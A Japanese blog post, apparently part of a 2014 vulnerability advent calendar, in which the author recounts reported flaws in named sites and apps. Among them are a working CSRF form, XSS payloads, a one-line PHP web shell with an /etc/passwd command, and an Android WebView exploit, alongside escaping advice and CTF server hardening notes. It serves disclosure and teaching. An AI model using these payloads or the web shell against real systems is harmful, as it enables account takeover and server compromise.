脆弱性"&'<<>\ Advent Calendar 2014 - Adventar
1日目 AtCoder
AtCoderができたばかりの頃は、クロスサイトリクエストフォージェリの対策がなされていなくて、下記のような罠ページをログイン済みのターゲットに踏ませれば、プロフィールを書き換えることが可能だった。確認はしていないけど、コンテスト中に間違ったソースコードを投稿させてペナルティをあたえたりもできたかもしれない。
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>AtCoder CSRF Test</title> </head> <body onload="document.getElementById('form').submit()"> <form id="form" target="frame" method="POST" action="http://arc002.contest.atcoder.jp/settings"> <input type="hidden" name="user_name" value="test"> <input type="hidden" name="user_screen_name" value="test"> <input type="hidden" name="mail" value="test@example.com"> <input type="hidden" name="affiliation" value="test"> <input type="hidden" name="twitter_id" value="test"> </form> <iframe id="frame" width="1" height="1"> </iframe> </body> </html>
そもそも、何も対策をしないと脆弱性になってしまうという意味で、POSTをクロスサイトで送れるというHTTPの仕様が間違いだと思うのだけど、今さら変えられないのだろうな……。
2日目 BuzzNews
著作権侵害で炎上したキュレーションサービス。反省して(?)画像を直リンするようになったけど、最近は元に戻っている。
エスケープが全くされていなかったので、下記のURLでクロスサイトスクリプティングが可能だった。
http://buzznews.asia/tag/%3Cscript%3Ealert%28location%29%3C/script%3E
修正されたけど、<title>の部分はエスケープがされないままだった。このURLそのままでは動作しないけど、次のように<title>を閉じるとスクリプトが動作した。報告するときはエスケープされていない箇所全てでスクリプトが動作するように工夫するべきなのかもしれない。
http://buzznews.asia/tag/%3C/title%3E%3Cscript%3Ealert%28location%29%3C/script%3E
クロスサイトスクリプティングの悪用方法
ウィキペディアに書いてあるように、クッキーを奪取すれば、ログインしているユーザーに成り代わって(パスワードの再入力が不要な事なら)何でもできる。クッキーがHTTP onlyで奪取が無理でも、ページの内容を読み取って外部に送信したり、ユーザーの代わりにリクエストを送ったりできる。
一方で、BuzzNewsのようにユーザーが見るだけのサイトの場合、できることがあまり無い。「このサイトは閉鎖しました」と偽の掲示をするくらいだろうか。実は鬼の首をとったかのように騒ぐことではないのかもしれない。
3日目 東北大学生協
一言カードのページで「TEAS'TEA」と検索したら、検索結果の欄が真っ白になった。検索結果が無い場合は、真っ白ではなく、無いと表示される。SQLインジェクションのようで、下手に突っついてDBが飛んだりしたらマズいので、余計な事はしないでIPAに報告した。
クロスサイトリクエストフォージェリが可能で、ちょうどクロスサイトフォージェリによる遠隔操作での冤罪が話題になっていた時期だったのでこれも報告したけど、脆弱性ではないということだった。
4日目 某割れサイト
某割れサイトに、このアップローダーが設置されていた。配布サイトには
扱えるファイルの種類についての制限はありません。単なる画像アップローダとは違い様々な作業で利用できる反面危険ですので各種パスワードは信頼できる相手(共同運営者等)以外には知らせずに運用してください。
という注意書きがあるのに、アップロードが可能なパスワードもサイトに書いてあった。
任意のファイルがアップロードできるので、拡張子が.phpのファイルをアップロードすると、スクリプトがそのまま実行できる。スクリプトをいちいち書き換えるのが面倒ならば、
<?php passthru($_GET['cmd']);
というファイルをアップロードしておけば、
http://example.com/uploader/files/attack.php?cmd=cat%20/etc/passwd
のようにして好きなコマンドを実行できる。
5日目 ヨドバシ(Androidアプリ)
WebViewに関する脆弱性とHTTPSの証明書検証に関する脆弱性の2個。
WebViewに関する脆弱性。
Androidで最も作り込みやすい脆弱性だと思う。このスライドが詳しい。要するに、addJavaScriptInterfaceというメソッドによってWebView中のJavaScriptがAndroid側のクラスにアクセスできるようになる。呼び出されていることを想定しているメソッドだけが呼び出されるのかと思いきや、contextが取れて、結局そのアプリが持っている権限で好きなことができる。
でも、ヨドバシのアプリってヨドバシのページしか表示しないよね?→ページ内にTwitterとかはてなブックマークがあって、ヨドバシのページ以外も表示できた。そこから攻撃者が用意したページまで辿り着く人なんてまずいないだろうけど。
バイブレーターを動かす攻撃コード。ヨドバシの場合は local_obj
がJavaScript側に追加されるオブジェクト。
<!DOCTYPE html> <html> <head> <title>Yodobashi Exploit</title> </head> <body> <pre> <script type="text/javascript"> // http://pastebin.com/1TyU7TT0 var loader = local_obj.getClass().getClassLoader(); var util = loader.loadClass("android.webkit.JniUtil"); var field = util.getDeclaredField("sContext"); field.setAccessible(true); var context = field.get(util); var cvib = loader.loadClass("android.os.Vibrator"); var vib = cvib.cast(context.getSystemService("vibrator")) vib.vibrate(1000); </script> </pre> </body> </html>
HTTPSの証明書検証
HTTPSでエラーが発生しても無視して続行していた。これでは攻撃者が中間者攻撃でオレオレ証明書を送り込んでも検知できない。Burp Suiteか何かをPCにインストールして、Androidのプロキシに設定すると確認できる。
public void onReceivedSslError(WebView paramWebView, SslErrorHandler paramSslErrorHandler, SslError paramSslError) { paramSslErrorHandler.proceed(); }
6日目 拡散性ミリオンアーサー(Android版)
バイナリエディタで /sdcard/Android/data/com.square_enix.million/files/save/appdata/save_appdata
を開いたらパスワードが見えた。Windowsではどこに保存したところで他のアプリから見えてしまうけど、Androidでは他のアプリから見えないようにできるので、見えないようにするべき。アプリの領域ではなく、SDカードに保存すると他のアプリから見えてしまう。古いAndroidではSDカードの読み取りに何の権限も要らない。
昔は、READ_PHONE_STATE(IMEIとか電話番号の取得)が要求されていて、再インストールしてもパスワードが要求されなかったので、IMEIで認証していたのかもしれない。詳しく調べていないので分からない。IMEIは他のアプリからの取得可能なので、認証に使うべきではない。
7日目 WordPressを使った某ブログ
WordPressを使ったとあるブログで、 /wp-config.php.bak
が閲覧可能になっていた。 /wp-config.php~
や /wp-config.php.swp
もうっかり残る可能性があるので危険。
8日目 teratail
質問がMarkdown記法が使えるけれど、ここでXSSができた。あくまで、プレビューで動いただけで、投稿したときにもスクリプトが動くのかは分からない。
画像。
![説明][WIDTH:600](hogehoge.jpg)
が
<img src="/uploads/contributed_images/hogehoge.jpg" width="600" alt="説明">
に変換される。
!["><script>alert(location)</script>](0)
が
<img src="0" alt=""><script>alert(location)</script>">
になってスクリプトが動いた。報告したら修正されたけど、たしか、<>をエスケープするという対応だったので、
!["onerror="alert(location)][WIDTH:100](hoge)
と書き込むと、
<img src="hoge" width="100" alt=""onerror="alert(location)">
となって、スクリプトが動いた。これも修正されたけど、onerror
などの文字列を無害な文字列に置換するという対応だった。https://teratail.com/js/frontend/question_editor.jsに名残が残っている。
var token_escape = function(out) { if(typeof out === 'string') { out = out.replace(/\t/g, ' '); out = out.replace(/&/g, '&'); out = out.replace(/</g, '&lt;'); out = out.replace(/>/g, '&gt;'); out = out.replace(/ /g, '&nbsp;'); out = out.replace(/</g, '<'); out = out.replace(/>/g, '>'); out = out.replace(/"/g, '"'); out = out.replace(/'/g, '''); out = out.replace(/ /g, ' '); out = out.replace(/\\/g, '\'); //out = out.replace(/on(Blur|Focus|Change|Select|SelectStart|Submit|Reset|Abort|Error|Load|Unload|Click|DblClick|KeyUp|KeyDown|KeyPress|MouseOut|MouseOver|MouseUp|MouseDown|MouseMove)/gi, 'on<!-->$1'); } return out; }
これでは、例えば、onmouseenterを使うと回避できる。今では正しく"
がエスケープされている。
脆弱性を指摘するときに、修正方法も言うべきなのかもしれないが、差し出がましいし、「お前の言う通りに直したけど脆弱性が残ったぞ( ゚Д゚)ゴルァ!」ということになりそうな気もする。
リンク。
[click](http://example.com)
が、
<a href="http://example.com">click</a>
に変換される。
[XSS](javascript:alert(location))
と書き込むと
<a href="javascript:alert(location)">XSS</a>
に変換される。リンクをクリックするとteratail.comのオリジンでスクリプトが動く。)
が使えないけど、属性値の中ならば実体参照が使える。
あと、CSRFが可能だった。
9日目 独立行政法人 水資源機構
http://www.water.go.jp/cgi-bin/wl-enq/enq.cgi?id=waterにWL-Enqが設置されていた(Internet Archive)。WL-Enqには任意のコードを実行可能な脆弱性がある。
21日目 togetter
'+alert(location)+'
を検索すると'
がエスケープされずにJavaScriptの文字列中に埋め込まれ、次のHTMLが出力されていた。
<script type="text/javascript" charset="utf-8"> var pageOptions = { 'pubId': 'pub-1379083136098030', 'query': ''+alert(location)+'', 'hl': 'ja', }
現在も、'
はエスケープされないけど、文字列が"
で括られるようになっている。
HTML中のJavaScript中の文字列を動的に生成するのは面倒くさいし危険。
<script>
中ではHTMLエスケープをしない、onclick
などのイベントハンドラ中ではHTMLエスケープする- サーバーからの出力時にHTMLエスケープをしているという前提で、
innerHTML
にそのまま突っ込むと、\x3c
が<
になる - 同じく
\
をエスケープしていないと、var x='【入力A】', y='【入力B】'
に対して、var x='aaa\', y=';alert(location)//';
という攻撃ができる - エンコードとブラウザによっては後ろの文字を消せるので、↑と同様のことができる。参照
- 改行をエスケープしないとエラーになる。改行は
\n
だけではない。参照
動的に生成する部分はJavaScriptではなくHTML中に書き出すのが良いと思う。これならば、HTMLのエスケープをするだけで良い。
<span id="param" style="display:none">hoge<>'"\ bbb </span> <script src="http://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script> <script> var x = $("#param").text(); alert(x); </script>
jQueryを使っていない場合は、
var x = document.getElementById("param").textContent;
が正しそうだけど、古いIEでは動かない。どうするのが一番良いのだろう?
追記
http://t.co/fOby7Yl3Ds 「古いIEでは動かない。どうするのが一番良いのだろう?」 ←<input type=hidden id=param value="…">… var x = document.getElementById("param").value;
— Yosuke HASEGAWA (@hasegawayosuke) 2014, 12月 22
ありがとうございます!
もしくは、URLエンコードすればだいたい大丈夫らしい。
25日目 ksnctf
私のサイト。普通のサイトで脆弱性を突くと怒られるけど、このサイトのctfq.sweetduet.infoの問題で指定されたポートならば構わないので、お楽しみください。
クロスサイトリクエストフォージェリ
最初の頃は何も対策をしていなかったので、他人にフラグを投稿させることが可能だった。解いた問題を解いていないことにする機能は無いので、勝手に解いたことにされると残念。
安全なWebアプリケーションの作り方のオススメに従って、セッションIDをそのままトークンにしているけど、止めたほうが良さそう。
アクセス制限不備
各種データの保存にSQLiteを使っているけれど、データベースファイルにウェブからアクセス可能だった。これはひどい。問題の答えと、他人が問題を解いた時刻が分かってしまう(ログには日付までしか出していない)状態だった。Twitterから返ってくるアクセストークンとシークレットを保存していなくて良かった。これがあると非公開の人のツイートが読めてしまう。
攻略用サーバーのアカウントの制限不備
一部の問題はsshでログインして解くようになっている。また、任意のコードが実行できる問題もある。このような問題で変なことをされると困るので、次の制限をかけている。
- 問題ごとに別にユーザーを作る。各問題のファイルのアクセス権限を適切に設定すれば他の問題を横から解くことができなくなる
- ホームディレクトリ中のファイルの所有者をrootにしてパーミッションを落とす。これによって、他人が解いたときのコマンド履歴が見られなくなるし、~/.bashrcに悪戯されることも防げる(※)
- /tmpのリード権限を落とす。これによってファイルの一覧が取得できなくなるので、他人が解いている途中のファイルを見ることができなくなる
- これらの仮想環境の中で動かし、仮想環境を動かしているホスト側のユーザーの外向きのネットワーク接続を制限する。仮想マシンのrootが取られても、他に迷惑がかからないように。仮想マシンがやたらと重いのは、さくらのVPSの上で動いているマシンの上で仮想環境が動いていて、CPUの仮想化支援が効いていないから。ちなみに、最近のXeonなら「仮想化のネスティング」ができるらしい。
これで充分かと思いきや、(※)のところに穴があった。
俺「passwdコマンド使えるじゃんwwwwwwwwパスワード変えとこwwwwwwwwwww」
— \(^o^)/ (@yagihashoo) 2014, 2月 13
ksnctfの問題でパスワードが変更されて問題が解けないなんてことがあったらしい、ひどい奴だ
— \(^o^)/ (@yagihashoo) 2014, 10月 2
本人に話を訊いたところ「chshコマンドとかもマズいんじゃない?」と教えてもらったので、とりあえずsuidが付いているコマンドは全部パーミッションを落とした。
そういえば、脆弱性なのか仕様なのか、想定外の解き方で、ユーザーには所有権が手に入らず読み取りも不可のファイルが、所有者はそのままでコピーされていたことがあった。cp -p
で所有者を維持したままのコピーはできるけど、コピーするユーザーに読み取り権限がないと無理なはず。誰か方法を知っていたらこっそり教えてください。